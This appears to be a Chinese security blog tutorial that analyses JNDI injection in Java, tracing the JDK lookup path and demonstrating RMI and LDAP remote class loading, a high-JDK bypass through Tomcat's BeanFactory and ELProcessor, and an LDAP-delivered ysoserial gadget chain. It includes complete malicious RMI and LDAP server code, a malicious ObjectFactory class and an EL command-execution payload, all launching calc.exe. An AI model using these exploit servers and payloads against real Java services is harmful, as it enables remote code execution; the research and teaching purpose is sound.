0x00 RMI的Demo
关于什么远程方法的调用,什么RMI的协议,哎,只要会用就行了,而且好多大佬前面写过各种JRMP,RMI之类的文章,重点我这里想看看这个lookup函数到底是怎么去加载这个远程类和本地类的。
上Demo,本地JDK环境为1.8.0_201:
远程调用的恶意类:
import java.lang.Runtime; import java.lang.Process; import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable; public class Calc implements ObjectFactory { { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"clac.exe"}; Process pc = rt.exec(commands); System.out.println("123"); pc.waitFor(); } catch (Exception e) { } } static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"calc.exe"}; Process pc = rt.exec(commands); System.out.println("123"); pc.waitFor(); } catch (Exception e) { } } public Calc() { try { System.out.println("123"); Runtime rt = Runtime.getRuntime(); Process pc = rt.exec("calc.exe"); pc.waitFor(); } catch (Exception e) { } } @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) { try { System.out.println("123"); Runtime rt = Runtime.getRuntime(); Process pc = rt.exec("calc.exe"); pc.waitFor(); } catch (Exception e) { } return null; } }
rmi服务端实现类:
import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class listener { public static void main(String[] args) throws AlreadyBoundException { try { System.setProperty("java.rmi.server.hostname","192.168.154.131"); Registry registry = LocateRegistry.createRegistry(1099); Reference aa = new Reference("Calc","Calc","http://192.168.154.131:8081/"); ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa); registry.bind("hello",refObjWrapper); } catch (RemoteException | NamingException e) { e.printStackTrace(); } } }
rmi客户端(受害服务端)调用的实现类:
import javax.naming.Context; import javax.naming.InitialContext; public class demo{ public static void main(String[] args) { try { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); String uri = "rmi://192.168.154.131:1099/hello"; Context ctx = new InitialContext(); ctx.lookup(uri); } catch (Exception e) { e.printStackTrace(); } } }
加载效果:
恶意服务器启动HTTP服务
注意启动的目录为恶意类所在的目录
恶意服务器(rmi服务端)启动监听
rmi客户端请求恶意类加载
恶意类加载完成
0x01 恶意类加载的原因
blackHat的议题上说问题出在了NamingManager类的getObjectFactoryFromReference方法上
那就试试看,到底能不能找到这个方法,跟进lookup方法的源码:
看InitialContext类的getURLOrDefaultInitCtx方法中的NamingManager.getURLContext的源码
name传入到了lookup方法中,接着跟进getURLOrDefaultInitCtx
跟进NamingManager的getURLContext方法:
跟进getURLObject方法:
跟进getObjectInstance方法
Nice,终于在不满足各个条件不满足的情况下找到了getObjectFactoryFromReference
在这里,完成了远程恶意类的加载。
0x02 LDAP攻击类型的Demo
public class Ldap { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main(String[] args) { String[] args = new String[]{"http://127.0.0.1:8081/#Calc", "9999"}; int port = 0; if (args.length < 1 || args[0].indexOf('#') < 0) { System.err.println(Ldap.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$ System.exit(-1); } else if (args.length > 1) { port = Integer.parseInt(args[1]); } try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch (Exception e) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor(URL cb) { this.codebase = cb; } @Override public void processSearchResult(InMemoryInterceptedSearchResult result) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch (Exception e1) { e1.printStackTrace(); } } protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if (refPos > 0) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
受害服务器(rmi客户端)的实现类:
public class demo{ public static void main(String[] args) { try { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); String uri = "ldap://192.168.154.129:9999/calc"; Context ctx = new InitialContext(); ctx.lookup(uri); } catch (Exception e) { e.printStackTrace(); } } }
启动LDAP服务端与恶意类服务器
启动JNDI客户端
恶意类加载成功
为什么LDAP可以实现远程类加载的效果,因为LDAP可以描述一个对象。
0x03 使用本地类进行攻击的Demo
Java高版本对Java远程类加载进行了限制,具体的版本为:
既然无法加载外部类,但是还有内部类可以利用,比如org.apache.naming.factory.BeanFactory,为什么使用这个类:
跟进一下InitialContext类->lookup方法->NamingManager类getURLOrDefaultInitCtx方法->NamingManager类getURLContext方法-> NamingManager类getURLObject方法,发现这个方法中先得到一个ObjectFactory的对象,并且这个对象有getObjctInstance方法
那就需要找到本地的一个继承自ObjectFactory的类,并且它含有getObjectInstance方法。
看下org.apache.naming.factory.BeanFactory类的作用,它是创建beans时所使用的。
可以看到所使用的类,必须具有无参的构造函数,和只具有一个String参数的方法。
而且第三张图片中假定说传入forceString的值为x=eval,诶,这就有意思了,得到这个字符串中“=”的位置,然后把这个方法名给个拿到,Nice
最终对forced这个HashMap将propName与paramTypes值put
然后去getMethod propName,接着进行反射,相当于执行
这是伪代码:
Class cls = Class.forName(“javax.el.ELProcessor”);
Object ob = cls.getConstructor().newInstance();
eval.invoke(ob,”el表达式需要执行的内容”);
接着进行反射。
那么之前使用这个机制的大佬就找到了javax.el.Process,而且里面正好存在执行el表达式的eval方法。那怎说呢,看下大佬们的恶意rmi是怎么构造的,JDK高版本虽然不让远程加载类,但并没有说不能远程提供类信息,而且还是使用的内部类,这个时候,提供类名,方法名,传入方法的参数值,就可以进行本地方法调用了。
恶意的RMI构造如下:
import java.rmi.registry.*; import com.sun.jndi.rmi.registry.*; import javax.naming.*; import org.apache.naming.ResourceRef; public class EvilRMIServerNew { public static void main(String[] args) throws Exception { System.out.println("Creating evil RMI registry on port 1097"); Registry registry = LocateRegistry.createRegistry(1097); ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString", "x=eval")); ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc.exe']).start()\")")); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("Object", referenceWrapper); } }
在这里我遇到一个问题:没有考虑到类之间的继承关系,导致我每次搞这个东西,都是败兴而归,大力出奇迹,当我把Tomcat8.5的所有类包导入到类环境当中的时候,搞定了,之前没有类包一直报错。
参照大佬的博客:
https://www.pianshen.com/article/87941420471/
有时候无法利用内部类,还可以返回一段序列化字段,这段序列化字段可以被rmi客户端进行序列化。
0x04 LDAP返回序列化字段进行JNDI高版本绕过
这里假设目标存在一个反序列化的漏洞库,比如CC链,然后使用工具生成一段BASE64编码的序列化数据,当程序进行反序列化之后,触发CC链。
这里参考大佬的一个LDAP服务器:
https://blog.csdn.net/weixin_44063566/article/details/88897261
先使用ysoserial.jar生成CC链的poc,java -jar ysoserial.jar CommonsCollections5 calc.exe > poc.txt
然后使用Java程序将其转化为base64编码,因为base64不乱码,直接生成的poc文件时乱码的。
替换到LDAP服务器中的序列化代码
然后客户端访问LDAP服务器:
触发:
参考链接:
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
http://blog.topsec.com.cn/java-jndi%E6%B3%A8%E5%85%A5%E7%9F%A5%E8%AF%86%E8%AF%A6%E8%A7%A3/
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
来源:freebuf.com 2020-08-27 18:44:39 by: 水木逸轩con
请登录后发表评论
注册